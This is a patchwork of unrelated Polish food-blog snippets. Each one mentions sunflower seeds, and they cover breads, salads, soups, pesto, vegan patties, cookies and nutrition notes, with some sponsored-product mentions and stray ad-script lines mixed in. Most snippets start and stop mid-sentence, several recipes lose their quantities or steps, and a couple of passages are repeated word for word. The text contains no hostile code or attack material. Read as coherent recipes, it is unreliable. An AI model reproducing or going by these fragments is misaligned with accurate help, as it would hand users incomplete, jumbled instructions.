kremowy dzięki użyciu mleczka kokosowego, ale jednocześnie aromatyczny od imbiru, czosnku i podsmażonej cebuli. Z czym podawać krem z brokuła? U mnie był to uprażony na suchej patelni słonecznik, ale równie dobrze sprawdzą się np. pestki dyni, orzechy nerkowca lub klasyczne grzanki do zupy . Pssst, jeśli lubisz zupy, to zobacz koniecznie moje pozostałe PRZEPISY NA ZUPY . Pokrewną propozycją dla dzisiejszej

pysznie słodkie buraki w połączeniu z lekko słonym kozim serem są dla mnie smakowym strzałem w 10-tkę. Oczywiście możemy tutaj dowolnie zmieniać nasiona: dodać prażone orzechy czy ziarna słonecznika, a kozi ser zastąpić np fetą. Składniki: 2 upieczone buraki  ser kozi  pestki dyni szczypta soli szczypta pieprzu czarnuszka Dressing: 2 łyżki oliwy łyżeczka miodu 1 łyżka octu

trzeba? Krążku ryżowe KUPIEC 1 szklanka mleka- dowolne 2 czubate łyżki kaszy manny KUPIEC 1 łyżeczka cukru trzcinowego 2 łyżki śmietany 30 % łyżeczka masła do posypania 2 łyżki ziaren słonecznika 2 łyżki pestek dyni 2 łyżki słupków migdałowych tarkowane płatki czekolady. Robimy! Mleko gotujemy dodając cukier. Mieszamy, aż się rozpuści. Następnie do gotującego już się mleka dodajmy kaszę i energicznie

rukoli . Do przygotowania dzisiejszego pesto użyłem orzechów nerkowca, ze względu na ich delikatny i neutralny smak. Jeśli ich nie masz, możesz je zastąpić uprażonymi na suchej patelni nasionami słonecznika. Świetnym dodatkiem są również płatki drożdżowe , które nadają delikatnie serowego aromatu – praktycznie zawsze je dodaje . Do czego można użyć pesto z rukoli? Najbardziej lubię używać go jako sosu do makaronu

glebokiego talerza wysypujemy przemieszaną wcześniej i doprawioną sałatkę, uklepujemy. b) smarujemy z wierzchu majonezem c) na majonez, za pomacą malej jarzynowej tarki,  scieramy zółty ser. d) dodajemy naszemu słonecznikowi płatki z chipsow. e) na ser wykładamy przekrojone na pół, lub w ćwiartki oliwki. 8. Nasza salatka jest gotowa do podania na stół. SMACZNEGO

suszonymi pomidorami Składniki: – 4 liście sałaty – 1 ogórek kiszony – 3 plastry cukinii – 3 kawałki suszonych pomidorów – 1 łyżka ziaren – u mnie mieszanka słonecznik, dynia. Można na przykład dodać również orzeszki pini Sałatka z rukolą, kiwi i grillowaną piersią kurczaka Składniki: – rukola, – kiwi, – grillowana pierś z kurczaka – pestki granatu. Sos winegret

ktoś niespodziewany! Składniki: - sałata lodowa poszarpana na kawałki - pyszne , słodkie pomidory, u mnie zazwyczaj malinówki - ogórek świeży -ser kozi, może być miękki - mnóstwo bazylii, natki pietruszki - zielone oliwki - czarnuszka, słonecznik - sól do smaku, pieprz, oliwa z oliwek, glassa balsamiczna z octem balsamicznym z Modeny   Z podanych składników skomponuj sałatkę, raczej warstwowo, nie mieszaj jej. Przed podaniem dodaj ocet

różnego rodzaju pieczywo w formie bułek i rogali. Jest tam wiele przepisów na bułki z wykorzystaniem różnego rodzaju mąk i dodatków. Koniecznie spróbujcie bułek hamburgerowych, maślanych lub gryczanych ze słonecznikiem. Wszystkie przepisy są łatwe i szybkie do przygotowania, a to wielka zaleta, ponieważ bułki można przygotować naprawdę w krótkim czasie. Bułki gryczano słonecznikowe Bułki pszenne z ziarnami Bułeczki hamburgerowe Bułki

świetnie współgra z wytrawnymi dodatkami. No i, poza czasem potrzebnym na wyrastanie, nie wymaga wiele zachodu. Ot, wymieszać wszystko i tyle. Składniki: 300 g łamanego żyta 100 g nasion słonecznika 100 g nasion dyni 50 g nasion chia (można zastąpić siemieniem lnianym) 50 g siemienia lnianego (można zastąpić nasionami chia) - czyż nie jest piękne duńskie słowo: " hørfrø "? 😀 15 g soli

również wzbogacona o owoce, warto postawić na suszone morele, śliwki i cytrusy. Cennym źródłem żelaza są także ryby, jajka, szpinak, buraki, brokuły. Spożywajmy też ciemnozielone orzechy, nasiona dyni i słonecznika, pełnoziarniste produkty zbożowe i warzywa strączkowe. W uzupełnieniu niedoboru żelaza zalecane jest, abyśmy stosowali produkty zawierające żelazo, takie jak: suplementy diety, które zawierają ten pierwiastek w odpowiednich ilościach

potasu, cynku, miedzi, manganu. kiełki fasoli mung – zawierają witaminy A, C, B9 oraz fosfor, potas, wapń, magnez, zawierają dużo białka, dzięki czemu są lekkostrawne i łatwo przyswajalne. kiełki słonecznika – bogate w witaminy C i E, żelazo, tłuszcze nienasycone, zawierają dużo białka. kiełki dyni kiełki kozieradki – zawierają witaminy A, B1, B2, B3, B5, C, D oraz żelazo, fosfor

użyłam T 1850) 1 łyżeczka soli 2 jajka 60 ml oleju 25 g świeżych drożdży 1 łyżeczka cukru 250 ml mleka Dodatkowo: różne ziarna do posypania (pestki dyni, sezam, słonecznik, mak itp.) jajko roztrzepane z łyżką mleka Przygotowanie: W misie umieścić mąkę orkiszową i sól, Świeże drożdże rozpuścić w ciepłym mleku z cukrem, gdy zaczną pracować wlać do misy

jedzeniu 😁 chleb.  Wykonany z mąki mieszanej. Ma fajną strukturę i nie kruszy się zupełnie, nawet po kilku dniach. Oczywiście możemy wzbogacić go dowolnie o ulubione dodatki: ziarno słonecznika, dyni, suszone pomidory ... Polecam bo przepis jest bardzo prosty i nie wymaga od nas super zdolności w wypiekaniu pieczywa 😉😍 Składniki: 250 g mąki pszennej typ 750 250 g mąki żytniej razowej

pełnoziarnistej T1850 do obtoczenia bakalii 1/4 łyżeczki proszku do pieczenia  aromat 10g pistacji prażonych 10g moreli suszonych 10g śliwek suszonych 10g orzechów laskowych prażonych 10g orzechów włoskich 10g słonecznika łuskanego Polewa 30g gorzkiej czekolady 10g oleju kokosowego Sposób przygotowania: Ciasto Jaja utrzeć z erytrytolem na puszystą masę. Dodać olej rzepakowy, mąkę, proszek do pieczenia i aromat. Całość dokładnie wymieszać

razie potrzeby możesz dodać nieco więcej przecieru pomidorowego. Pastę podawaj na chlebie. Zobacz też inne przepisy na pasty kanapkowe Smalec z fasoli Pomidorowa pasta z cieciorki Pasta ze słonecznika Hummus z kolendrą Fava – pasta z grochu Pasta jajeczna z pieczarkami Zobacz też nowe przepisy Pomidorowa pasta z makreli Smalec z fasoli Kanelbullar – szwedzkie bułeczki z cynamonem Barszcz czerwony

podzielić z Wami IDEALNYM przepisem na wegańskie klopsiki . Postanowiłem ukręcić pyszne, klasyczne w smaku, ale jednocześnie niesamowicie wyjątkowe klopsiki z soczewicy . Znajdziecie w nich również kaszę jaglaną, płatki owsiane, słonecznik i żurawinę… Można powiedzieć, że są to KLOPSIKI MUSLI Rumiane pulpeciki z soczewicy , zajadałem w towarzystwie prostego sosu pomidorowego i ryżu jaśminowego. Dobrym rozwiązaniem może być również ugotowanie

się dużą popularnością! Blog nawiązał współpracę z powyższą marką. W paczce znalazły się produkty z serii HELIO Natura: pistacje prażone śliwki suszone morele suszone orzechy laskowe prażone orzechy włoskie słonecznik łuskany Zapraszam do zakupów! Już wkrótce na blogu przepisy z wykorzystaniem powyższych produktów

otrębów (dowolnych) 20 g świeżych drożdży 400 ml letniej przegotowanej wody łyżeczka cukru 2 płaskie łyżeczki wody około 150 g ziaren (u mnie było 50 g słonecznika, 50 g siemienia lnianego i 50 g pestek dyni). forma w której piekłam chleb ma wymiary 24 cmx14 cmx7 cm Przygotowanie: W letniej, przegotowanej wodzie rozpuść drożdże z cukrem. Do przesianej mąki dodaj

oznacza to, że zwykłej bułki czy chleba nie zjem. Zjem, ale mniej niż w grudniu :) Składniki: na keskówkę o wymiarach ok. 12 x 28 cm 135 g ziaren łuskanego słonecznika 90 g siemienia lnianego  30 g orzechów laskowych, migdałów lub orzechów włoskich  35 g nasion dyni  145 g płatków owsianych górskich (dałam gryczane) 2 łyżki nasiona chia

prawdziwe niebo w gębie! Tego się nie da opisać! To trzeba spróbować! Spróbujcie i Wy! Kremy dostępne oczywiście w sklepie SFD.PL SKŁADNIKI: ( foremka ok. 24 cm ) SPÓD: * orzechy ziemne, słonecznik, kokos – 1 szkl = 250 ml * suszone daktyle – 8-10 szt * krem NUTLOVE ALLNUTRITION CRISPY HAZELNUT – 2 łyżki * olej kokosowy – 1 łyżka * kakao gorzkie – 1 łyżka

łyżeczka dobrej jakości musztardy (najlepiej z całymi ziarnami gorczycy i bez dodatku cukru), sól i czarny pieprz do smaku natka pietruszki do posypania 2 łyżki podprażonych pestek słonecznika (opcjonalnie) Ziemniaki wyszorować, przełożyć do niedużego garnka, zalać niedużą ilością wody i ugotować do miękkości. Odcedzić, odstawić do wystudzenia. Pomidory zalać gorącą wodą i odstawić na 15 – 30 minut do namoczenia (można

gotując większą ilość komosy z części można przygotować np. wyśmienity  deser , lub  orientalne kotlety 1 awokado + sok z cytryny do skropienia 1 – 2 łyżki pestek dyni lub słonecznika mała garść liści roszponki, rukoli, rukwi wodnej, szpinaku lub ulubionej sałaty 1 malutka szalotka pokrojona na cienkie plasterki lub kilka plasterków cebulki (opcjonalnie) 1 łyżka oliwy lub preferowanego oleju tłoczonego

sałatka gotowa.  Jeśli lubicie możecie dodać do sałatki warstwę pokrojonej w kostkę czerwonej papryki, lub pomidorki koktajlowe (ja użyłam ich do dekoracji). Sałatkę można także posypać podprażonym słonecznikiem, który będzie przyjemnie chrupał.  Smacznego

swoją objętość. (Ciasto wychodzi lepkie, ale takie powinno być.) Po tym czasie przełożyć je do keksówki wysłanej papierem do pieczenia i wstawić do letniego piekarnika. (Dodatkowo wierzch posypałam pestkami słonecznika.) Piec około 50-60 minut w 180 stopniach. (Posiadam piekarnik gazowy, który grzeje tylko od dołu.)  Przepis już znacie to teraz kilka słów o przechowywaniu pieczywa. Ja od zawsze

przepis tutaj SEROWE PALUSZKI Z CIASTA FRANCUSKIEGO-  przepis tutaj ROLADKI Z CIASTA FRANCUSKIEGO Z SEREM I SZYNKĄ-  przepis tutaj ROLADKI Z SZYNKI KONSERWOWEJ Z SERKIEM I ZIARNAMI SŁONECZNIKA-  przepis tutaj KORECZKI ŚLEDZIOWE-  przepis tutaj SUSZONE ŚLIWKI W BOCZKU- SZYBKA PRZEKĄSKA-  przepis tutaj PTYSIE Z PASTĄ TUŃCZYKOWĄ-  przepis tutaj DROŻDŻOWE PIEROGI Z KAPUSTĄ I PIECZARKAMI

porodu Źródła w diecie kwasu foliowego: zielone warzywa: kapusta, sałata, jarmuż, szpinak, brokuły, brukselka, bób, szparagi, groszek ale również buraki i pomidory owoce: cytrusy, banany, awokado ziarna i pestki: słonecznik, orzechy, soczewica, ciecierzyca, soja jaja drożdże suplementy – Composita Mama DHA – to skomponowany przez specjalistów produkt dla kobiet w ciąży i w okresie laktacji. Zawiera witaminy i minerały, które

drobną kostkę. Na koniec dajemy cienką warstwę majonezu. Każdą warstwę delikatnie solimy i pieprzymy. Górę naszego sałatkowego tortu przystrajamy mieszanka BIO MIX SAŁĄTKOWY POLSKIE MŁYNY, która zawiera w swoim słonecznik 40%, dynie 40% oraz szałwię hiszpańską 20%. Cała mieszanka zawiera aż 24 g błonnika . Polecam również zajrzeć do sklepu internetowego, gdzie można nabyć produkty, które nie są dostępne w sklepach

potrawą serwowaną w wiejskich karczmach, do flaszki z gorzałką. Monotonię śledziowej diety urozmaicano prostymi i tanimi dodatkami. Jednym z najpopularniejszych było dodanie oleju z lnu, konopii, czy wreszcie – ziaren słonecznika. Tak narodził się śledź w oleju – polska narodowa potrawa, która o palmę pierwszeństwa na stołach pomiędzy Bugiem a Odrą bije się chyba tylko z bigosem. Kiedy idą święta (zarówno Boże

pesto i potem połączyć je po prostu z bułką tartą. Pesto może być z natki, suszonych pomidorów czy klasycznie z bazylii. Z orzechów takich czy śmakich. Pestek dyni lub słonecznika. Na co tylko macie ochotę. Dla mnie jednak natka i czosnek to podstawa, jeżeli chodzi o ryby, dlatego u mnie takie połączenie. Do tego dobrej jakości oliwa, sok z cytryny

bazylii i z orzeszków piniowych. Znowu nie widzę przeciwwskazań żeby trochę poprzeinaczać. Bazylię zastąpiłam natką pietruszki, orzeszki piniowe – pestkami dyni. Można pokombinować również z rukolą i pestkami słonecznika. Pesto jest o tyle fajne, że można spokojnie trzymać je w lodówce około tygodnia i wykorzystywać do różnych potraw: do makaronów, sałatek, drobiu, ryb, grzanek, itp. Składniki: średniej wielkości pęczek natki

robić więcej wegetariańskich past do pieczywa. Do tej pory robiłam je bardzo sporadycznie, średnio jedną w miesiącu. Kombinowałam głównie z ciecierzycą, sama właściwie nie wiem czemu, czasem zdarzył się słonecznik. Niektóre pasty, które kupujemy są w miarę dobre pod kątem składu, ale zaczynają nam się powoli nudzić. Wszędzie ciecierzyca (ta sama, o której wspominałam wyżej, „jak do tego doszło

owsiance czy kaszce poprawia humor. Do ozdabiania pierniczków lubimy też wykorzystywać suszone owoce : rodzynki, żurawinę, morwę, banany itd. Świetnie sprawdzają się orzechy czy też ziarna i pestki np słonecznika, dyni, sezamu, maku. Oczywiście w ruch też idą zawsze drobne cukiereczki typu groszki lub lentilki, kropelki czekoladowe, barwiony cukier. Partnerem wpisu jest firma Fabryka Form zdjęcia we wpisie są autorstwa Dorota

masła, odrobinę startej gałki muszkatołowej i mleka wedle uznania – ugniatamy na gładkie puree. Potem 300g brukselki obieramy, kroimy w ćwiartki, podsmażamy na maśle klarowanym, solimy. Następnie 100g pestek (słonecznika, dyni, sezamy) prażymy na suchej patelni oprószając cynamonem i solą. Gorący barszcz czerwony podajemy z puree ziemniaczanym (można efektownie wyciąć je foremką do ciastek), smażoną brukselką i prażonymi ziarnami

szykuję: - 100g aktywnego żytniego zakwasu - 550g mąki pszennej 480 lub 550 - 1 płaska łyżka soli - 1 płaska łyżeczka suchych drożdży lub 8g świeżych - 20g siemienia lnianego - 20g sezamu - 50g słonecznika - 400g letniej wody  * drożdże można całkowicie pominąć, gdy będziecie mieć czas wyrastania podniesiony do 4-5 godzin  Robienie domowego chleba wymaga planowania, zatem zaczynam wieczorem od obudzenia zakwasu

chlebowej typ 750 (można zastąpić orkiszową, graham lub inną)  • 3 pełne łyżki podkarmionego zakwasu żytniego (około ½ szklanki)  • 1 płaska łyżka soli  • ½ szklanki namoczonych ziaren (siemię lniane, słonecznik)  • 560 ml wody  Sposób przygotowania:   1. Pół szklanki ziaren siemienia lnianego (tego używam najczęściej) zalać wodą, zamieszać i odstawić na kilka minut.  2. Do dużej miski

podanych składników zrobiłam 12 placków. Więc jeśli potrzebujecie więcej,  musicie zwiększyć ilość składników.  Składniki: 2 średnie ziemniaki 1 średni burak 1 marchewka 3 różyczki kalafiora 2 łyżki słonecznika łuskanego 1 ząbek czosnku 1 jajko 1 łyżka siemienia lnianego mielonego 1 łyżka mąki pszennej 1/2 łyżeczki soli na czubku łyżeczki pieprzu Dodatkowo: olej do smażenia Wykonanie: Warzywa obrać

współpracować z takim sklepem, który idealnie pasuje do tematyki bloga.  W paczce znajdowało się: orzechy laskowe miechunka suszona pistacje kalifornijskie XXL daktyle suszone mąka orkiszowa zioła prowansalskie  słonecznik łuskany siemię lniane Zapraszam do zakupów!!! Już wkrótce na blogu pojawią się przepisy z wykorzystaniem powyższej żywności

Polecam również inne przepisy na domowy chleb na zakwasie: Zakwas na chleb - krok po kroku Chleb typu tartin     Chleb żytni na zakwasie Chleb żytni ze słonecznikiem na zakwasie Chleb mieszany (na zakwasie) Chleb żytni z orzechami i żurawiną Chleb żytni na zakwasie z sokiem jabłkowym Razowiec z czarnuszką   Chleb tostowy pszenno-owsiany na zakwasie Składniki: zaczyn

kulinarneprzeboje.pl (adsbygoogle = window.adsbygoogle || []).push({}); 3. Sałatka z kurczakiem i makaronem Przepis na: zcukrempudrem 4. Sałatka z kurczakiem i jajkiem Przepis na: smakiuczucie 5. Sałatka z kurczakiem i prażonym słonecznikiem Przepis na: nadokladke (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Najlepsze Sałatki na Sylwestra pochodzi z serwisu Damusia.pl

zabrać w pudełeczko jako drugie śniadanie do pracy. Sałatki bez majonezu możemy przygotować na bazie różnego rodzaju sałat z dodatkiem świeżych warzyw dodatkowo wzbogacając ich smak ziarnami sezamu lub słonecznika. Poniżej możecie znaleźć kilka moich propozycji na dietetyczne sałatki. Mam nadzieję, że przypadną wam one do gustu! (adsbygoogle = window.adsbygoogle || []).push({}); 1. Sałatka z camembertem i kurczakiem Jest to jedna

smaków, łączymy nieznane dotąd składniki. Dzięki przyprawom możemy mieć wiele wersji jednej zupy, w zależności od upodobań czy humoru. Zupy krem możecie podawać z domowymi grzankami , groszkiem ptysiowym, pestkami słonecznika czy dyni, makaronem, chlebem czy pieczywem lub pieczonymi ziemniaczkami . Zupy możemy podawać ze świeżymi ziołami, warzywami, śmietaną czy jogurtem naturalnym. Trudno wskazać jeden argument, dla którego kocham zupy krem

szybko się go robi 😉. Czas przygotowania to 10 minut z umyciem miski, czas pieczenia to 60 minut w 160C. A poniżej przepis ❤️ Przepis: 200g siemienia lnianego  200g nasion słonecznika  50g nasion sezamu  50g pestek dyni  4 jajka  50 ml oliwy z oliwek  płaska łyżeczka soli  Wszystkie składniki mieszamy i przelewamy to blaszki (keksówki

lekką, smaczną kolację to koniecznie wypróbuj ten przepis na sałatkę z buraczkami i serem feta. Składniki: sałata lodowa troszkę rukoli buraczki ugotowane i pokrojone czerwona cebula ser feta słonecznik I sos musztardowo-miodowy: łyżka musztardy, 1 łyżeczka miodu, sok z cytryny, oliwa na oko i dodałam kapkę wody bo dla mnie za gęsty był sosik. Sposób przygotowania: Ilość składników wedle

obawiam się, że będziemy mieć sporo czasu, by popracować nad tym planem. Składniki: 35 dag mąki pszennej 15 dag mąki żytniej razowej do wypieku chleba 15 dag pestek słonecznika  ( część można zastąpić dyniowymi ) 3 dag drożdży 2 szklanki letniej wody + 3 łyżki do zaczynu 1 płaska łyżka soli 1 łyżeczka miodu 1 łyżeczka cukru Wykonanie: Zaczyn: Do miski wkruszamy

bądź przygotować z wyprzedzeniem i odgrzać. Smacznego! Do przygotowania pieczeni można użyć również innych, ulubionych przez siebie orzechów, np. mieszanki orzechów pekan, laskowych, makadamia, pistacji lub pestek dyni czy słonecznika. Orzechy/pestki powinny być dość mocno rozdrobnione, ale nie całkowicie zmielone na mąkę – pozostawione gdzieniegdzie nieco większe kawałki sprawią, że pieczeń będzie miała ciekawszą konsystencję. The post Nut roast – wegańska pieczeń

szklanka wody około 250 – 300 g różyczek kalafiora 1/2 niedużej czerwonej cebuli 1 mały ząbek czosnku 5 – 6 suszonych śliwek (niesiarkowanych, najlepiej miękkich) 1/3 szklanki pestek dyni lub słonecznika 1 łyżka oleju (np. ryżowego lub z pestek winogron) + odrobina do natłuszczenia papieru do pieczenia oraz rąk podczas formowania burgerów 3 łyżki posiekanej natki pietruszki nierafinowana sól, przyprawy i zioła

szklanka wody około 250 – 300 g różyczek kalafiora 1/2 niedużej czerwonej cebuli 1 mały ząbek czosnku 5 – 6 suszonych śliwek (niesiarkowanych, najlepiej miękkich) 1/3 szklanki pestek dyni lub słonecznika 1 łyżka oleju (np. ryżowego lub z pestek winogron) + odrobina do natłuszczenia papieru do pieczenia oraz rąk podczas formowania burgerów 3 łyżki posiekanej natki pietruszki nierafinowana sól, przyprawy i zioła

bądź przygotować z wyprzedzeniem i odgrzać. Smacznego! Do przygotowania pieczeni można użyć również innych, ulubionych przez siebie orzechów, np. mieszanki orzechów pekan, laskowych, makadamia, pistacji lub pestek dyni czy słonecznika. Orzechy/pestki powinny być dość mocno rozdrobnione, ale nie całkowicie zmielone na mąkę – pozostawione gdzieniegdzie nieco większe kawałki sprawią, że pieczeń będzie miała ciekawszą konsystencję. The post Nut roast – wegańska pieczeń

podanych proporcji upieczecie dwa bochenki domowego chleba. Możecie je posypać mieszanką ulubionych pestek. Ja tym razem postawiłam na płatki owsiane i mak, ale sprawdzą się na przykład pestki dyni, słonecznika czy sezamu. Chleb pełnoziarnisty na drożdżach jest bardzo prosty w przygotowaniu, jeśli macie doświadczenie z ciastem drożdżowym, upieczenie dzisiejszego chlebka nie powinno przysporzyć Wam problemu. Polecam, smacznego:) TUTAJ znajdziecie więcej

łyżeczka masła 3/4 l - 1 l wody lub bulionu 100 g śmietankowego serka topionego vegeta Ziołowa posypka: 1 kromka czerstwego chleba 1 łyżka pestek dyni 1 łyżka pestek słonecznika 1 gałązka rozmarynu kilka gałązek tymianku sól oliwa   Zupa: Dynię i marchewkę obrać i pokroić na mniejsze kawałki. Cebulę obrać i drobno posiekać. Podsmażyć ją na oleju aż będzie złota

przepyszne ciasteczka, które będziecie mogli legalnie chrupać w jesienne wieczory, bo są całkiem fit. Składniki: 2 dojrzałe banany 1 szklanka płatków owsianych garść żurawiny (polecam od Skworcu ) opcjonalnie: pestki słonecznika, gorzka czekolada, rodzynki, orzechy, wiórki kokosowe, migdały, sezam Banany rozgniatamy widelcem, dodajemy płatki i czekamy chwilę aż napęcznieją. Następnie dodajemy pokrojoną żurawinę i ulubione dodatki. Na blaszce wyłożonej papierem

pewno będziecie zadowoleni smakiem U mnie dziś to danie powstało z resztek makaronu, stąd połączenie razowego i gryczanego. Zamiast świeżego szpinaku możecie użyć mrożonego. Danie można także wzbogacić nasionami słonecznika, czy pestkami dyni. Makaron ze szpinakiem, pomidorkami i parmezanem – składniki (2 porcje): około 200g ulubionego makaronu (u mnie pół na pół gryczany i razowy), 100g świeżego szpinaku, 2 ząbki

przykryć folią spożywczą, dzięki temu ciasto nie wysycha i szybciej rośnie. 🔄 Zamienniki Kawę Inkę możemy zastąpić zwykłą kawą rozpuszczalną lub też pominąć ją zupełnie. Siemię lniane można wymienić na słonecznik lub nasionka dyni. Mąka krupczatka może być stosowana wymiennie z semoliną, a mąka pszenna typu 450, zastąpiona na przykład mąką typu 720. 🍞 Przepisy na chleb na zakwasie Poniżej znajdziecie propozycje

się z Wami moimi ulubionymi pomysłami na niecodziennie kanapki, na pewno każdy znajdzie coś dla siebie. Dodatkowo sięgnijcie po świetne przepisy na domowe pieczywo . Na zdjęciach chleb otrębowy ze słonecznikiem i siemieniem lnianym . 1. KANAPKI Z GUACAMOLE – 1 awokado – ricotta – sok z ½ limonki – 1 mały ząbek czosnku – kolendra – kiełki – płatki chili Awokado rozgniatamy

tarta, jajka, bez jajek, kapusta nawet, ryż, kasza, otręby, majeranek, lubczyk, tarta marchewka, cukinia, papryka w kosteczkę pokrojona, kmin rzymski, boczek wędzony, śmietana, keczup, majonez, musztarda, czubryca, kozieradka, ziarna słonecznika, ser żółty, rosół zamiast wody, sam już nie pamiętam co jeszcze. Pełna dowolność. Wariacji na temat zwykłego tradycyjnego mielonego jest tyle, że nie zliczę. My natomiast podajemy Wam nasz sposób

Składniki: 1 kg mąki pszennej typ 750  ok 600 ml ciepłej wody 42 g  świeżych drożdży  2 łyżeczki cukru 3 czubate łyżeczki soli dodatki dowolne: ziarna słonecznika, dyni, siemię lniane, czarnuszka. U mnie dodatek prażonej cebulki.  Wykonanie : Wlewamy do garnuszka 200 ml ciepłej wody, dodajemy rozkruszone drożdże, łyżeczkę cukru, łyżeczkę mąki. Mieszamy i odstawiamy rozczyn

pominąć. BEZGLUTENOWY CHLEB Z KASZY GRYCZANEJ Składniki: 500 g kaszy gryczanej niepalonej 700 ml wody przegotowanej 1 łyżeczka soli 1/2 łyżeczki majeranku* 1/2 łyżeczki oregano* 1/2 szklanki ziaren słonecznika 1/2 szklanki płatków owsianych 1 łyżka oleju * Przyprawy są opcjonalne – można dodać, ale nie trzeba . Jak kto lubi Wykonanie: Najważniejsza czynność w tym przepisie to namoczenie kaszy, o odpowiedniej porze

gotować ok 5 minut, potem zupę zmiksować blenderem na krem. Doprawić do smaku. Jeśli zupa jest za gęsta można dolać bulionu. Gotową zupę podałam z kleksem śmietany i prażonym słonecznikiem

dodatek do kanapek. W zasadzie to nic innego jak drobno pokrojone warzywa z dodatkiem oliwy z oliwek lub oleju lnianego tłoczonego na zimno. Jeśli chcemy, możemy dodać także nasiona słonecznika albo pestki dyni i tym samym podnieść wartość odżywczą naszej salsy. Polecam, bo podanie warzyw w takiej formie oznacza, że zjemy ich znacznie więcej, a to nam wyjdzie na dobre

sałatka z brokułem i fetą , którą zrobisz dosłownie z kilku składników. Zapraszam po przepis. - świetna sałatka na imprezy - kilka składników i krótki czas wykonania - do podania z chrupiącym, prażonym słonecznikiem

Zupa krem z dyni to przepyszna sezonowa zupa, którą najczęściej serwuję z uprażonymi pestkami dyni. Zamiast nich śmiało możecie dać tutaj uprażone ziarna słonecznika lub płatki migdałów. Mój przepis na zupę z dyni jest prosty w wykonaniu, więc poradz The post Zupa z dyni appeared first on KulinarnePrzeboje.pl

było dobre! Słuchajcie, nie wiem czy mi uwierzycie, ale nigdy nie jadłam tak dobrych wege kotletów jak tych z kaszy gryczanej i czerwonej fasoli. Dorzuciłam sobie dodatkowo tofu, słonecznik, no i poszły. Testowałam zarówno pieczone w piekarniku, jak i na patelni, i te z piekarnika są o wiele lepsze. Nie rozwalają się, idą ... Czytaj dalej Wege kotlety z kaszy gryczanej

smak… Poniżej znajdziecie przepis na pyszne domowe bułeczki z czarnuszką . Będą idealnym wyborem na śniadanie, a także do pracy czy szkoły. Czarnuszkę możemy oczywiście zastąpić makiem, sezamem czy słonecznikiem. (adsbygoogle = window.adsbygoogle || []).push({}); PRZEPIS NA BUŁECZKI Z CZARNUSZKĄ Składniki na 8 sztuk: mąka pszenna – 450 g letnia woda – 200 ml drożdże instant – 7 g cukier – łyżeczka

jabłko 1/2 cebuli ulubione świeże zioła (np. natka pietruszki, kolendra, koperek) 1-2 łyżeczki suszonego oregano (koniecznie!) 2-3 łyżki oliwy z oliwek (lub wegańskiego majonezu albo majonezu ze słonecznika ) sok w połowy cytryny sól i pieprz czarny mielony (do smaku) Wykonanie: Kapustę włoską drobno kroimy, umytą marchewkę trzemy na dużych oczkach tartki, umyte jabłko kroimy w drobną kostkę, podobnie

zakwasu żytniego, 500g letniej wody, 150g mąki żytniej razowej, 50g płatków owsianych górskich, 50g płatków jęczmiennych, 50g płatków jaglanych, 50g płatków gryczanych, 50g siemienia lnianego, 50g sezamu, 50g pestek słonecznika, 50g pestek dyni.   Wszystkie składniki zaczynu mieszamy w misce, przykrywamy i pozostawiamy w temp. pokojowej na 12-14 godzin do fermentacji.   Etap II, dzień następny 750g zaczynu, / całość

miodu 2 łyżki oleju kokosowego 1 łyżeczka rozpuszczalnej, drobnej kawy ( można pominąć ale dodaje fajnego smaczku) spora szczypta soli 1/2 szklanki orzechów nerkowca 1/2 szklanki migdałów 1/2 szklanki nasion (słonecznik, dynia, chia) 2 tabliczki gorzkiej czekolady sól w płatkach (np maldon) do posypania po wierzchu Wykonanie: Kaszę zalać wodą i zostawić na minimum 4 godziny a najlepiej na całą

przechowywania produkt ó w suchych mają też jedną świetną zaletę są przeźroczyste - od razu widzimy po otwarciu szuflady, co jest w nich zawarte, z łatwością odszukamy np. ziarna słonecznika czy owsiankę. Słoje są przeźroczyste zar ó wno z g ó ry - "zakrętka jest ze szkła" - jak i dookoł a.   Jeśli do kilku wsypujemy różne mąki, warto wtedy je oznakować

płatkach wg gustu – Oliwa – 2 łyżki – Masło – 1 łyżka – Sól do smaku – Kurkuma – 1/2 łyżeczki DO PODANIA: – Marchew 1 sztuka – Masło – 1 łyżka – Wedle uznania: Płatki migdałów, nasiona dyni, słonecznika, orzechy PRZEPIS: 1. Cebulę pokrój w pióra, czosnek w plasterki. Wrzuć na rozgrzaną oliwę. Przesmaż około 5 minut co jakiś czas mieszając. 2. Marchew obierz, pokrój w kostkę lub plasterki

450g mąki pszennej, 280g ciepłej, przegotowanej wody, 40g oleju, 1 saszetka suszonych drożdży lub 30g świeżych drożdży, 2 łyżeczki soli, pól łyżeczki cukru, 1 jajko, ziarenka (np. siemie lniane, słonecznik). Przygotowanie: Mąkę, wodę, olej, drożdże, sól i cukier wymieszać. Zarobić ciasto. Podzielić na 9 części i uformować bułeczki. Uformowane bułeczki ułożyć na blasze z papierem do pieczenia. Przykryć ręcznikami papierowymi

Melasa nadaje chlebowi niezwykły słodki posmak. Niektórzy go uwielbiają, inni nie do końca. Ja zdecydowanie należę do tych pierwszych! W połączeniu ze smakiem słonecznika i zakwasu jest to jeden z moich ulubionych chlebów. Można użyć dowolnego typu melasy. Ja użyłem melasy z trzciny cukrowej, ale kiedyś używałem też melasy z buraków i z chleba świętojańskiego. Nie ma to większego znaczenia

którzy rozpoczynają swoją przygodę z wypiekaniem chleba. Można dowolnie mieszać mąki - mogą być razowe, mogą być z dodatkiem mąki orkiszowej albo gryczanej. Do tego polecam dodać też ziarna słonecznika lub pestki dyni

mąki żytniej razowej 340 g mąki pszennej łyżeczka soli łyżeczka cukru 5-6 śliwek suszonych pokrojonych 2 łyżki orzechów laskowych w całości 2 łyżki siemienia lnianego 2 łyżki pestek słonecznika 2 łyżki pestek dyni łyżka majeranku 3 łyżki otrąb pszennych 50 g drożdży świeżych lub 2 torebki suszonych około 500 ml ciepłej wody Instrukcje Suche składniki mieszamy w misce Cukier

cukru brązowego 2 jajka 1,5 łyżeczki proszku do pieczenia 80-90 ml oleju rzepakowego 3 czubate łyżki płatków owsianych 1 łyżka pestek dyni 1 łyżka pestek słonecznika 1 łyżka żurawin 1 łyżka dowolnych orzechów szczypta soli ½ lub 1 łyżeczka cynamonu Instrukcje Dynię z marchewką ścieramy na tarce o średnich oczkach. Wszystkie składniki wrzucamy do jednej dużej miski i dokładnie

kostkę. Cebulę seler oraz rzodkiewkę pokroić w plasterki. Ser pokroić w większą kostkę. Na sałatę ułożyć pomidory, ogórek, ser, rzodkiewkę, seler naciowy oraz cebulę. Na wierzch dać kiełki słonecznika. Do słoiczka wlać oliwę, sok z cytryny , zioła i doprawić do smaku solą i pieprzem, dokładnie wymieszać. Gotowym sosem polać sałatkę. Smacznego

